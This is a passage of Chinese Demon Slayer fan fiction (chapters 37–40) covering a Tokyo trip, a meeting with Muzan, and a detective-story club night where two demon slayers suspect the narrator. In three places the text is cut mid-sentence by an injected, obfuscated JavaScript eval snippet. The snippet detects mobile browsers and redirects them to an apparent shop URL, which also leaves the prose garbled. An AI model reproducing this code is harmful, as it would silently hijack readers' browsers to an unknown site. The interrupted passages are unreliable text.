感情的发展常常出乎意料,这点童磨是有经验的,但你们能走到这一步,属实想不到。真想一直看到大戏落幕的那天啊。可靠近观察也好,重新开始的恋爱游戏也好,都不能帮助他理解这份感情,跟在你们身边会好些吗? 费解的滋味可真不好受啊,连乖巧懂事的女朋友都不能安慰了呢。 琵琶声响起,他已回到万世极乐教大本营内部,舒舒服服地躺倒在紫色的靠枕上。 刚才,他不期然想到了一双绿色的眼睛。是在她之后吗,感觉不到游戏的乐趣了呢。 门外响起恭敬的敲门声。 “请进。” 是新来的信徒,进门就跪下倾吐着他的狂热。童磨全程走神,只听到最后一句是“我能为您做什么吗,教主大人”。 “我想看电影。”他道。 没有童磨来捣乱,接下来几天你愉快地和黑死牟漫游东京。 “浅草寺、上野公园去过了,电影看了,接下来去银座。”你在小本本上划掉几项,满意地塞回包里,“明天是歌舞伎町和东京国立博物馆。” 这个斜挎包是你专门找皮匠定做的,鞣制好的皮革里衬丝绸,分出隔层,配上五金件,样子和上辈子上课常背的那个差不多,笔啊、本子啊、几本书、钱夹、竖笛还有其他小零碎都装得下,你用得很开心。 “不太顺路吧。”黑死牟说。 “无所谓啦,只要走遍这些地方就可以了。”你不清楚自己到底算P人还是J人,常做计划也常偏离计划,旅游爱打卡,但不在乎顺序,也不介意走冤枉路。 黑死牟向来听你的,点点头,和你牵着手走在街道上。 有人领路,你放心地走神,左顾右盼看街上花花绿绿的招牌,橱窗里陈列的商品,路过报亭,拐回去买了一份电影画报翻着看。 按现代人的眼光,画报内容贫瘠得可怜,毕竟电影行业在全世界都处于草创阶段,里面只有零星几条日本成立电影制片厂的消息,剩下的都是外国电影明星的照片。 你专注地看着,黑死牟提着你的一只胳膊,带着你绕过障碍物、跨上台阶、穿过马路,一边弯下腰听你讲话。 “日本也拍电影了,叫《本能寺会战》,讲战国历史的,我们抽空去看看吧。” “好。” “你看这个好看吗?” “好。” 你一路叽叽喳喳,很快就把画报翻完了。 “弗洛伦斯·劳伦斯,玛丽·璧克馥,她们真美。”*合上书,你感到一阵熟悉的怅惘,那是人面对美好事物常有的感情,“我怎么就不能长得好看一点呢?” 黑死牟看着你,不知道是哪一点让你不满意。 “你已经很好看了啊。”他说。 这话根本安慰不到你。 “吾妻之美我者,私我也。”你把书里的明星海报举到和脸齐平的位置,“现在再看,如果我能更像玛丽·璧克馥一点,是不是更好看呢?” 说完,你扭头再看一眼海报,赶紧放下去,对比太惨烈,不敢看、不敢看。 要是能更美一点,更好一点,是不是爱也会多一点呢?谁都这么想过吧。 “但是,”他慢慢悠悠道,“我的妻子长你这个样子,想象妻子有张不一样的脸,那不是很奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137296|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪吗?” 黑死牟试图打捞那些深埋的久远回忆,结婚前他好像从来想过妻子的长相问题,知道那个人会是你后,心中的形象就固定下来,别的形形色色不同样貌的女性都是“别的”,不是“妻子”。 你拿下他揉捏在脸侧的手,感到那里上升的温度正在飞快地流遍全身。 刚刚你没忍住顺着他的话想了一下,自己脖子往上变成玛丽·璧克馥,马上就强烈的违和感吓得睁开眼睛。人果然都是幻想高配版的自己,变成另外一个人,就太超过了。 “这么说的话,确实,是,是挺奇怪的。”你结结巴巴,低着头掩饰脸色,步伐不自觉地加快。他轻松地迈出长腿,不徐不疾跟在身边。 “不过,美还是客观的,所以你的话不能算数,”你把画报翻得哗哗作响,弗洛伦斯和玛丽的漂亮脸蛋飞速交替,“快收回去。” 黑死牟用力一拉,你沿着街角转一个半圆,一头砸进他的胸口,避免了撞上电线杆的厄运。 “你已经很好看了。”他抬起你的下巴移到对着马路的一面,“现在看路吧。” 剩下的路程你是同手同脚走完的。 到了银座,你怒掏钱包买了一身洋装,不是那种鹿鸣馆时代就被上流社会接受的保守套装,而是放到西方也走在时尚前沿的小裙子,画报上电影明星穿的那种。 售货员打包好,习惯性地将袋子交给黑死牟,你以强硬的姿态先拿过来,往外面走,他毫不费力地跟上来。 “还要做什么?”他知道你不耐烦逛街,都是选好目标后直奔目的地买到就走。 “我要吓你一跳。”你说。 “为什么?”他笑,他一直搞不清楚你对他的一些错误认知都是怎么来的。 “因为……特别的离经叛道,大逆不道?”因为感觉他是非常在意秩序这东西的人。 “穿什么样的衣服,换什么样的发型,你都是你。”他说,手指从你的发梢划过。 “我……”脸上好不容易降下的温度又有上升的趋势,你刚要说什么转移话题,却发现他突兀地停下来,不由得回头张望—— 一颗白橡色的脑袋百货商店的门后探出来,看到你们开心地睁大了眼睛。 你并没有傻到认为童磨就这么离开的你的生活了。 靠嘴炮赶走反派,这种事只会发生在天赋异禀的主角身上。你自知没有这样的本事,所以早早做好了心理准备。 但这不代表,看到他再出现在你和黑死牟面前,你不会怒火万丈。 东京这么大,偶遇是可以随随便便做到的吗?你百分百确定了,这个家伙是故意的。 “别这样啊,”他可怜兮兮地说,“虽然你不记得了,但我们以前也是好朋友来着。我还请你到家里做客,你玩得可高兴了,对吧,黑死牟阁下?” 不可能,绝对不可能。 你冷静地伸出手:“黑死牟,刀给我。” 这个人想要看你笑话,这也是百分之百能确定的。至于为什么,反正猜不到,先打了再说吧。 黑死牟说过,他的刀虚哭神去是用自身的血肉和骨头做成的,所以对下位鬼的伤害是一定的。 你抽出了刀。 “哎,不是吧,不是吧,真的要动手了啊。”他兴奋地比划起来,“要砍还是刺呢?就往这儿吧,要我把眼睛挖给你吗?” 你:“……” 突然不想动手了,给他打爽了,糟心的还是你。 黑死牟接回刀,剑锋顺势一指斜向下刺入他的胸口,刀尖只进去一点,冒出点儿血珠,童磨已面色遽变。 你看不见的地方,无数的小月牙没入他的身体,旋转的锋刃绞碎不断愈合的脏器。 “不要自作聪明,童磨,”他道,“你已违背了那位大人的禁令。” “但这次真的是巧合,黑死牟阁下。”他一张一合的嘴中流出血沫,你吓得捂住眼睛。 “即使我做错了什么,也不值得阁下如此大动肝火——您看,”他笑着转向你,“我是来看电影的。” 他掏出口袋里检过的票。 你心情复杂,忍不住怀疑自己是不是做得太过分了,下一秒,他咧开嘴角:“不过,今晚月色真美,适合相遇,见到你们,真的是比看电影还要开心啊!” 你扭头走开,他就是来笑话你的,已经笑话了。 这一刻起,他不只是讨厌,而是可恨了。童磨想要在你身上谋求一个悲剧的实现,他把你当作一部电影,一开始就是。电影结束,会有他口中丁点儿“朋友”的表示吗,他只会洒几滴鳄鱼眼泪,再寻找下一幕剧。 身后,他漫不经心的笑声仅维持几秒就被闷哼取代。你内心已毫无波澜。 童磨嗅到他人忧伤的裂口就像苍蝇闻到了血,他也像苍蝇一样降临,一面大口吞食,一面撒播下腐败的因子,加速毁灭的过程。你感到恶心。 你走出几步,又返回来拉着黑死牟的手一同离开。不管童磨想看到什么,都不可能成功。 38.第 38 章 会遇到下班的花柱和风柱两位大人完全是巧合。那些天发生了很多事,但凡少一环,相遇就无法达成。 首先是你和黑死牟闹了点小别扭,然后是无惨来到了东京。 若干年前,国内备受瞩目的劝业博览会在东京上野公园举行,无惨认为这是寻找蓝色彼岸花的大好机会,他本人多次前往,还派手下到处蹲守,但收效甚微。 无惨认为这是博览会现场人太多了的缘故,花大力气找人脉弄来了内部参观撤展展品的渠道,大摇大摆来了,顺便邀请刚好也在东京的黑死牟和你一道去。 博览会刚开幕的时候,你就拉着黑死牟跑了好几次了。3.5万颗灯泡组成的华丽霓虹将水晶宫照得通透耀眼,里面陈列着美丽的手工制品、各地的特色、最新的化工和机械成果,包含了农林水产还有园艺。你看得目不暇接,可惜好景不长,就被“人类馆”里的内容倒尽了胃口。 所以黑死牟告诉你的时候,你提不起半点兴趣。 “自己去吧,不想动。”你懒洋洋地翻身侧卧过去,感觉自己已经完全被掏空了。失策,大失策,新裙子完全起到相反的效果,你搬起石头砸自己的脚! 他好脾气地扶住你的肩膀,重新把拉开的距离占满:“还没有休息好吗?” 你一下子被他惹毛了,抬腿就往后面踹:“没有,没有,你烦死了!” 你抢过被子包住全身,恨得牙痒痒:有必要让他知道,有的时候你亲他一下,就真的只是想亲一下了! 他沉默片刻,不一会儿起来,窸窸窣窣地穿好衣服:“真的不去了?” “等会儿,”被子里发出的声音,“如果我不去的话,他能不能直接从你脑子里读出我缺席的原因?” 对面不出声。 “知道了。”你顶着一头乱发心如死灰地爬出来,“我去。” 由于以上种种原因,这次出行你的心情十分不美妙。尤其是要打起精神应付一只会读心的鬼这点,完全雪上加霜。 “你说,我一见到他,就在心里默念童磨一直骚扰我,有用吗?没有啊。”你叹气,“那我尽量不这么想,但也太难了。” 要管住飘忽不定的思想,太难了。可你一点儿也不想在别人脑子里裸奔,必须想办法。黑死牟怎么可以那么淡定呢?你忍不住问他。 “不必隐藏情绪或试图遮掩,人生会轻松很多。”他道,“为他人的眼光和想法活着无异于套上枷锁,可以打破这一点,我很感激那位大人。” 原来是这样。 他看着你忍不住又补充道:“你也不必紧张,只要保持对大人的尊敬就足够了。” “我不是紧张这个,”你说,“也不是害怕心里的想法被别人知道,那没什么见不得人的,而是、而是——” 这个“而是”卡了半天也没出来,你根本组织不好语言来表达这种怪异的感觉。 “算了,”最后你道,“我会对他有礼貌的。” “是尊敬。” 就这样,你陪着无惨和黑死牟开始参观展品,全程保持微笑,绝不多说一个字。 虽然按黑死牟的说法,无惨是年纪最大的鬼,但他对新事物的好奇绝不逊于年轻人,完全可以称一句站在时代风口浪尖的弄潮儿。 无惨一进来理所当然地先去看园艺的部分,理所当然地一无所获。不过他的不满、烦躁也就持续了一阵,随即兴致勃勃地去看那些进口的新鲜物品和新式机械了。两个一脸谄媚的男人追上来负责讲解,称呼他为“月彦先生” 你觉得无惨挺像一个小孩子,还停留在全能自恋的阶段,将世界视为自身的外延,天然地认为自己的意愿会被满足,稍有不如意就各种暴走,但也很容易转移注意力。是因为活太久所以返老还童了吗? 这个念头刚一闪,还没成形,你赶紧把它赶走了。还好还好,无惨表情没什么变化,看来他不是时时刻刻都监听别人的心声。 一行人来到了化工用品的展区,台上摆着一整套实验设备,透明的瓶瓶罐罐里装着颜色深浅不一的溶液。 无惨马上来了兴趣,上去操作一通成功让某种液体改变了颜色,赢来那两个男人热烈的吹捧。 你使劲眨了一下眼睛。虽然是文科生,你也记得试剂容量不能超过导管的三分之一。算了,孩子开心就好。 无惨继续他的浏览,随口点评着,不管说什么都能得到无脑吹,你尴尬得脚趾抠地。 做一个陪老祖宗看戏听曲儿的吉祥物,也是很不容易的啊。 突然,他叫了你的名字。 你一个激灵竖起耳朵,原来是在问你有什么看法。 “呃……”你们停在一座永动机模型前。 “一种想象中的装置,没有实现的可能,因为能量传输的过程中一定会有损耗。”你拼命回忆所剩无几的物理知识,心中忐忑不安。 这么说对吗?貌似这个时代的人钻研永动机还挺狂热的,你不会得罪无惨吧? “是这样,”那人抬手矜持地整理袖扣,居然赞同了你,“一切的能量都会有所损耗,永恒的力并不存在,只除了我这样最接近完美的生物。” 听完后半句,你把“想不到无惨大人您是个唯物主义者”咽了回去,当作无事发生。 还是少说话吧。 走到了古代文化的展区,他的兴致显著下降,那些堆叠在一起的华丽布匹啦、精美的刺绣啦、古董摆件啦,连一个眼神都欠奉。 你猜这些东西他年轻时一定看得够够的,没准儿他自己的收藏比这里的还强呢。看来很快就能结束了,好耶。 无惨又在叫你的名字。 “这是什么?”他随手指着展柜,“你认识吧?” 玻璃后面是出土的弥生时代的铜剑,旁边摆着几个陶土的小块。 “这是铸造青铜器的陶模和陶范,”你赶紧解释,“用陶土烧制出形状再把烧化的青铜倒进去,凝固后敲碎,铜器就铸好了,所以‘模范’用来比喻群体中最先牺牲的部分。” “无聊、浅薄,”无惨轻叩着柜门,“对着几块土,都要感动吗?” 不是,干嘛突然扯到我啊! 送走了这尊老祖宗,你瘫在椅子上,感觉魂魄已经离体有一会儿了。 “这不是做得很好吗。”黑死牟犹豫片刻,还是决定要鼓励你一下。 “别说话,”你抬一只手,“我社交能量都用尽了,让我一个人待着。” 有的人看似没说过几句,其实她脑子都转出火星了。 回到店里,你一头栽倒,睡过后半夜和整个白天,直到夜幕重新降临,才觉得好些了。 “怎么会这么累。”黑死牟一直守在身边观察你身体内部的变化,但那什么也没有。又饿了吗?他还没问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143304|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口,你已弹射起跳窜到了门边警惕地看着他。 “不行。”你两手严厉地打一个大大的叉,“不许出现在距离我半径不足一公里的地方,回家前都不许。” 前有童磨,后有无惨,你安排的度假已经毁得差不多了,这种时候还要参加运动的话,那简直能用暗无天日来形容,字面意义上的暗无天日。 以上就是你现在一个人晃荡在街头的原因。 “去哪里好呢……”你划拉着记事本,“就这里吧。” 走进最近的公共电话亭投入五钱硬币,话筒里传来嘟嘟嘟的声音。 “喂?社长,今晚的活动在哪里呀?嗯嗯,对,我参加。” 东京千代田区神田街,一家咖啡屋前。 刚刚下班的花柱大人蝴蝶香奈惠正拉着老大不情愿的同事准备推门而入。 “工作很重要,休息也同样重要哦,”她笑眯眯地劝着身边那个一看就桀骜不驯的白发男人,“不死川先生伤得这么重,是时候好好放松一下了。” “不要因为你的刀去保养了,就让别人也不要杀鬼,”白发男人气势汹汹道,“我伤得一点也不重,血气都不够引来鬼的。” “可是不死川先生要是坚持去工作或训练的话,您很快就要再躺回到蝶屋里了。与其在病床上躺着,不如来体验大城市的风光,难得来东京出任务呢。” “理由,”不死川实弥不为所动,“给我个理由,为什么非得跑这么远,不能让我一个人想干嘛干嘛?” “因为,好玩?” 他作势要走。 “开玩笑、开玩笑,”香奈惠笑着拦住他,“其实我是想让风柱大人感受一下普通人的生活。” 不死川实弥用眼神问出了“这也需要感受”? “因为不死川君实在太过投入鬼杀队的工作了,”她道,“这样其实不好——先别急着反驳,听我说。偶尔,我们这些鬼杀队的柱也需要停下来休息一会儿,这其实是为了更好地杀鬼。” 她停顿了一下,目光从不死川身上移开,落到人来人往的街道上,这座灯火通明的繁华都市里,夜间仍有精彩的生活上演,不如说,很多都市人的精彩生活此时才刚刚上演呢。 香奈惠笑了一下。 “在这里,感受普通人的生活,看他们没有被破坏幸福,依旧这么快乐地存在着,风柱大人不觉得这会让我们的刀更利而不是变钝吗?” 实弥右手烦躁地在剑柄上滑动,却没有出声反对。 “而且,”香奈惠笑弯了眉眼,“以你最近的伤痕来算,至少一个月内不宜再出血了,这是医生的建议。” 实弥“啧”了一声。 “真烦,”他道,“但不能换个地方吗,我看这里实在是不舒服。” 衣着考究的客人们规规矩矩地坐在桌旁,那场景光看看就让他觉得被束缚了。 “可以呀,反正不杀鬼,去哪里都……” “那个,”你弱弱地举起了手,“两位可以让让吗。” 两个装束奇怪的人挡在咖啡馆门口很久了。你看着他们马路边讨论,一个跨上台阶一个不肯动,女的劝回男的,两个人到门口又开始纠结,磨磨蹭蹭半天就是不进门,终于鼓起勇气开口了。 他们齐刷刷回头看向你,你吓了一大跳。 “我、我要迟到了。”你结结巴巴地补充道。 39.第 39 章(加更) 和子推开咖啡馆的门探出半边身子:“怎么才来?就等你了。” 她不由分说,拉着你就走了进去,门框上的风铃发出叮叮当当的脆响。 这样是不是不太礼貌?你想分神看看那两个人,但文学社的人们马上热情地围上来寒暄,你就把他们忘了。 “什么时候来的东京,也不打声招呼。” “我已经知道今天的主题了,超有意思哦。” “哎哎哎,不许泄密。” “明天还来吗?” “快坐下,要开始了。” 你们走进二楼的雅座,里面已经布置得差不多了:红色绸缎幕布从屋顶垂到地板,遮住了窗户,正中摆着一张铺着红色天鹅绒桌的大圆桌,四周散落着同样材质和颜色的扶手椅。* “哇哦,”你抚着胸口感叹一声,“这个气氛很到位啊。” “是吧,”和子开心道,“我一进来就心跳加速,希望今晚的活动配得上它。” “还是别了吧。”你谨慎道。 心跳加速什么的,听起来就不适合你。不过你信任社长的文学品味,他一定不会搞出什么惊悚的东西,就放心地加入进去,帮大家搬动椅子,完成最后的布置。 和子叫你:“坐我旁边吧。” 文子立刻道:“那我坐另一边。” 你还没答应下来,外面响起了咚咚的敲门声。 “还有谁没来吗,我们都到了吧。”你疑惑着打开了门。 是刚才的那位姑娘,她蝴蝶翅膀一样的外套给你留下了很深刻的印象。 看到房间内部,她表情瞬间紧绷,但马上,她对你微笑:“我听老板说这里有社团活动,我和朋友可以参加吗?” 她身后白发的男人怒目圆睁,看起来像要把你活吃了。 你情不自禁缩了一下脖子:“可以,的吧?” 是不确定的语气。文学社的团体活动向来是对外开放的,但那人怒发冲冠的样子很难不让人怀疑他们是来找茬儿的。 你害怕地又看他一眼,一头刺猬一样硬刷刷的白发,脸上的疤横亘过鼻峰延伸到另一侧,敞开的衣襟袒露出纵横交错的伤痕,正随着呼吸和肌肉鼓胀起伏着。 还有这个眼神……你杀了他全家再刨了他的祖坟也不过如此了。 他不会是逃犯吧,还是退役的军人? 这时姑娘回头也看向他。 “不死川,冷静。”她说。 社长和一诚走了过来,拍拍你的肩让你回去。 “我们‘盐与光’文学社欢迎任何文学爱好者和相信人文精神的同道加入进来,”社长胖胖的的圆脸上露出友善的笑容,“但你们要遵守社团的规则,保持安静,言论不能偏离活动主题,自由讨论环节之外不得随意发言,能做到吗?” “这是当然。”姑娘向他鞠躬。 “太客气了,我们握手就好,您怎么称呼?” “我是蝴蝶香奈惠,这位是我的朋友不死川实弥。” 白发男人双手抱胸瞪着双眼,在同伴几次的眼神催促下,不得已主动伸出布满青筋的手,和社长、一诚先生相握。 他们没什么劲,手心一点茧也没有。他想。 “敝人寺田幸勇,经营一家杂志社,这位是杂志社的赞助人一诚,”社长摘下头顶的小圆帽,“今晚有杂志名下文学社团的集体活动,其他成员稍后我再向两位介绍。” 得到允许,香奈惠还在反复道谢,那个叫不死川实弥的男人已迫不及待得跨门而入,目光直指向你,因为被香奈惠拉住才没有进一步行动。 和子刚和你一起跑过来看情况,一个没留心,香奈惠坐到了她原本的座位上,你的左手边。 不死川实弥也开始选座位,刚转动眼睛,文子就抱住椅背瞪他,和子赶紧坐过去。 他不耐烦地啧声,坐在香奈惠旁边。 社长最后落座。 “时间不早了,我们就开门见山吧,”他环视一圈道,“大家都知道,刚刚过去的一年,是埃德加·爱伦·坡诞辰一百周年,也是亚瑟·柯南·道尔爵士的作品传入日本的十五周年,杂志社的一系列纪念专号顺利收官,反响很好。为了表示庆祝,今天的主题是‘侦探小说’。” 对面的时彦吹了声口哨:“这个好,怪不得是红色房间,太契合血与死亡的印象了,不如就每个人讲一个侦探故事,大家猜犯人和手法,最后再揭秘,怎么样?” 这个提议全票通过。 时彦先来示范:“A君前往某处大楼赴宴,喝醉了,醒来发现被绑在了装着定时炸弹的长凳上,他想办法挣脱从出口逃生,第二天却被发现摔死在了电梯井里,怎么回事?” 你举手回答:“大楼高层有一间一模一样的房间,A君喝醉后被挪到了那里,所以他以为的出口其实是高层电梯的门。” 文子:“我也说一个,某人,就叫B君吧,有一天回家发现妻子中刀死去,但家里的门窗都是从内部反锁的,而且没有被打开的痕迹,凶手如何做到的呢?” “房间里有烟囱吧。” “凶手爬出去了。” 你:“就是B君杀了妻子,他杀人后用螺丝刀之类的东西把门锁复原了。” 时彦问道:“那如果不是西式的铰链门锁,是传统的门闩呢?” 你想了想:“那就是出门前门闩是用冰块冻住的,B君在门外点蜡烛,冰化开,门闩就会自动落下来。或者在门闩上留一条丝线,旁边墙面打一个钉子做支点,门外拉动丝线就可以开关门了。”* 时彦摊开手,表示你赢了。其他人也纷纷讲述各种离奇的案件,你答出不少,偶尔也猜不出来的,大家一起商量,总能有结果。 “太强了,”和子感慨道,“您是怎么知道这么多杀人手法的?” 那当然是因为我是看过全套福尔摩斯、阿加莎和某死神小学生的人啊!你刚想说,身边两道灼热的视线横扫过来,如有实质,你不禁打了个哆嗦,就把话忘了。 好险、好险,差点儿露出穿越者的马脚了。你一阵后怕,却同样无法忽视那越粘越紧的目光。 看到你不客气地瞪回来,不死川实弥咧开嘴笑得极具侵略性。 “刚好,我也知道一个故事。”他慢吞吞地说。 故事是这样的:某偏远乡村有一座废弃的房子,接近那里的小孩子不论男女都消失了,进去搜查的人常常会和同伴走散,有的人什么也没发现就走了出来,但有的人永远留在了里面。* “这是怎么回事呢?”他几乎是咬牙切齿地发问。 你心中一凛,挺直了腰背。那个人在针对你,不能示弱。 “太简单了,我已经知道答案了。”你信心十足地看着他,香奈惠配合地靠住椅背让出空间方便你们对视,一时间空气里火花带闪电噼里啪啦地响。 “这是一起Howard·Holmes式的犯罪,就是侦探小说中所谓的建筑诡计,这所房子里布置了很多密道和隔间,凶手就躲在里面把迷路的小孩儿带走,有的人侥幸找到了出口没有遇到凶手,所以什么也没有发现。”* 不死川道:“那是一座普通宅邸,里面空空荡荡只有几件家具,没有二楼,周围也没有其他的独栋建筑。” 这么关键的信息一开始就要说啊。 你不甘心,想了想又道:“但这不足以说明房子里没有机关,也许是用镜子一类的东西制造了视觉假象。” 他挑起一边眉毛:“有点接近了,但不是。” 你再接再厉:“那就是利用了佩铂尔幻象,从不同的入口进入房间看到的是不同的投影。”* 眉毛落了下去,看来也不对。 你冥思苦想,其他人也小声讨论起来。 “太难了吧。” “这个是今晚最难的了。” “到底怎么做到的啊?” “有了,”你兴奋地轻扣桌面,“就像《莫格街凶杀案》,这个‘凶手’不是人类,对吧?” 感谢爱伦·坡给的灵感,你怎么能忘了今晚的主题呢? 不死川又笑了:“看来你很清楚嘛。” “那是什么?”你微微探出身子,“也是猩猩吗,还是猴子、下山的熊?” 他的眉毛拧成了死结,额头青筋暴起。 你马上怂掉,迅速缩回去贴紧椅背:“都不是吗,那我猜不到了。” 社长道:“那就请这位先生告诉我们真相吧。” “是啊,快说吧。” “你难倒了我们最资深的成员,厉害啊。” 实弥无聊地抱臂坐回去,公布答案:“凶手是鬼,它用血鬼术让人产生幻觉误以为是进入了异空间,用镜子找到熏香的正确位置就可以破解。” 刺啦,是椅子腿划拉地板的刺耳声音。 你站了起来。 “怎么可以这样,”你双手抱头崩溃不已,“怎么可以这样!” “这,这根本就不是侦探小说!” 凶手是有超能力的妖魔鬼怪,跟幕后大boss是外星人有什么区别?遇事不决UFO是吧?这是机械降神,是作者偷懒圆不回来了,是烂尾,是诈骗!是比角色名叫“我”、证人精神分裂、氧分子恰好掉落憋死人等等还要无耻的诈骗!* 惨遭诈骗的你满腔怒火。 “侦探小说,是智力与科学的碰撞,实证精神的胜利,是……侦探立足于现实,找到真相还世间公义……”你语无伦次,说话都不利索了,“它应该与真实高度一致,客观的真实、人性的真实还有心灵的真实……总之,应当摒弃怪力乱神,至少在核心诡计中要完全地剔除掉。” 这样看来柯南道尔真的是很有节操了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143902|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他本人虽然迷信通灵仪式,但福尔摩斯在任何情况下都是坚定的唯物主义者。这样的作家能不能再多一些啊! 你慷慨陈词,激动地手抖,手—— 香奈惠倾身过来,牢牢地钳住了你的两只手。 “我看你太激动了,”她解释道,“不会摔倒吗?” “哦。”你的输出被打断,情绪一下子调转不过来,整个人有点儿懵。怕摔倒不是应该扶着吗,为什么要拽手啊。 “那,谢谢?” 这个人看着细挑,力气却不弱,你觉得自己快不能动了。 她慢慢松开了手,你拉回椅子重新坐好,腕上的红肿一秒消退。这个小插曲无人在意,大家继续讨论着。 “可是我觉得这个故事很有意思啊。”文子道。 “对呀,非常出乎意料,完全想不到。”这是一诚。 和子问:“破解血鬼术后怎么样了呢,那些孩子有救出来吗?” 你的注意力瞬间转移:“为什么啊,你们不觉得这个设定很离谱吗,侦探兼职了阴阳师,还算侦探故事吗?”这就是道士捉鬼的故事了啊。 “你也太较真儿了,”时彦道,“故事里有推理和破解谜题的元素不就够了吗。你说的的那种纯粹的双方博弈,动机、手法总有穷尽的时候,侦探小说也要寻找新路啊。” 你不得不承认他说的有道理。 “但是,背景包含玄幻这种事应该在开头就点明,最后才提出来,那读者肯定会不高兴的。社长,你说是不是?” 所有人看向他。 幸勇捋捋小胡子:“要我来评理啊,我想想。首先呢,很不好意思,我要说你不对了。” “哎?” “是你思维定式了,侦探小说的创始人爱伦·坡先生就写过你所说的玄幻色彩的作品,早期的侦探小说都脱离不了哥特文学的影响,而哥特文学更是少不了怪力乱神之类的超自然元素。你都猜到凶手可能不是人了,却没有进一步往下想,这不是不死川先生的问题。” “好吧,”你举起双手认输,“我承认,是我狭隘了。” “那么,我宣布今晚的最佳是不死川实弥先生,因为他难住了上一位最佳,有没有异议?” 大家一起鼓掌。 按照惯例,评选出当天的最佳后,主题讨论就结束了,接下来是自由讨论环节,仍由社长主持。 “感谢大家的分享,给了我好多灵感,我决定在下一期杂志上增设专栏‘侦探小说诡计类别集成’,届时也请大家踊跃投稿,”他鞠了一躬,“然后,我们一起来欢迎两位新人的加入,蝴蝶香奈惠小姐和不死川实弥先生,感谢他带来精彩的故事。” 大家再次鼓掌,依次自我介绍:社长幸勇先生和他的妻子雪実,杂志社的赞助人一诚和妻子惠美,然后就是各位成员,你、时彦、和子、文子、诗织…… 之后大家就随意多了,一诚叫来了饮料,大家捧着杯子一起聊天,好几个人挤到不死川身前追问故事的细节,香奈惠则看向了你。 漆黑的墨一样的一把头发,和眼珠是几乎一样的浓黑,额前浓密的齐刘海投下一层阴影,分不清是发梢还是睫毛的浓荫,头发下雪白的脸,能看到皮肤下血管的蓝,薄薄的嘴唇也只余淡淡的一点粉。简直是黑笔白纸画出来的一个人,满屋红色的映照也不能稍稍增加点血色。 这样看来,你并非全无鬼相,但她以鬼杀队柱的苛刻眼光来审视,你浑身上下也没多少鬼化的痕迹,气味更是稀薄得难以察觉。 是刚变的鬼吗?但你说话条理、逻辑清晰,这是不吃人就能做到的吗? 香奈惠想起了不久前鬼杀队刚捕杀的一只鬼,那个倒霉的家伙生前是工厂的夜班工人,鬼化后丧失了遇难前的一段记忆,仍维持着往日的习惯,每天上下班照常工作,还和同事们自然地寒暄,直到家里的臭味再也遮掩不住。 据参与斩鬼的的队士说,他们撞开门冲进去,发现这家七口人已全部死去,尸体以一种极尽扭曲的姿势堆在一起,那只鬼剁下其中一只手,熟练地切片、装盘,一边抱怨着工作太累养家糊口太难,然后把肉块喂到地上一张朽烂的嘴里,神情语气完全就是一个普通下班后的邻家大叔。 这一幕给在场所有的成员都造成了巨大的心理冲击,导致有人再也无法完成工作,只好转入“隐”。你也会是这种情况吗?香奈惠谨慎地观察着你,试图寻找出想要的破绽。 可能还没吃几个人吧,不怪楼下你突然冒出来的时候,她和不死川都没有反应过来,眼睁睁地看着一只鬼走进了人群中。 香奈惠深吸一口气,开始冷静地分析:这里人太多了,而且大家都靠得很近,风之呼吸的招式大开大合,不便于施展,她得想个办法把你和其他人分开,制造挥刀的机会。 一个眼神送过去,实弥默契地颔首。 40.第 40 章 香奈惠叫了一声你的名字。 “嗯?”你不明所以地回首,“香奈惠小姐?” 她笑得很友善:“刚刚我就想问了,你的生日是八月十五吗?” “猜对了,很明显吗?” “只要看到了这个名字,都能猜出来吧。” “是这样,”你不禁也笑了,“我是晚上出生的,妈妈说生完我从窗户望出去,天上的月亮圆圆的,就给我取了这个名字。” 你说的是穿越前的妈妈,操心你的成绩、培养你、高压控制你、对你寄予厚望的妈妈。 这段回忆可能有点久远,你没有留意自己自己愣了一会儿,直到香奈惠在眼前挥手。 “在想什么?” 来不及回答,和子扑了过来:“那不是很快就到你的生日了吗?一起来庆祝吧!” 你把她从身上薅下来:“八月十五都是和家人过的吧。” “那也可以庆祝啊,一天那么长,总有时间。” 文子也加入劝说的队伍:“来嘛来嘛,叫你出来一次可真不容易,上回阳光那么好,我们去郊游玩得多开心,就你不来。” 你一个头两个大:“我不是工作忙吗,那,看情况,有空的话……” 是阴天的话。你在心里改正。 香奈惠保持微笑。这两个人总在你的身边。 实弥讲的那个“故事”她也有所耳闻,前下弦之一姑获鸟,用扭曲的母爱操控抓来的孩子,鬼杀队来斩鬼时,那些可怜的孩子奋不顾身挡在“母亲”前面,一名队员因此丧命。她绝不能让类似的事再次上演。 “你们是姐妹吗?”香奈惠不动声色地插入你们的对话。 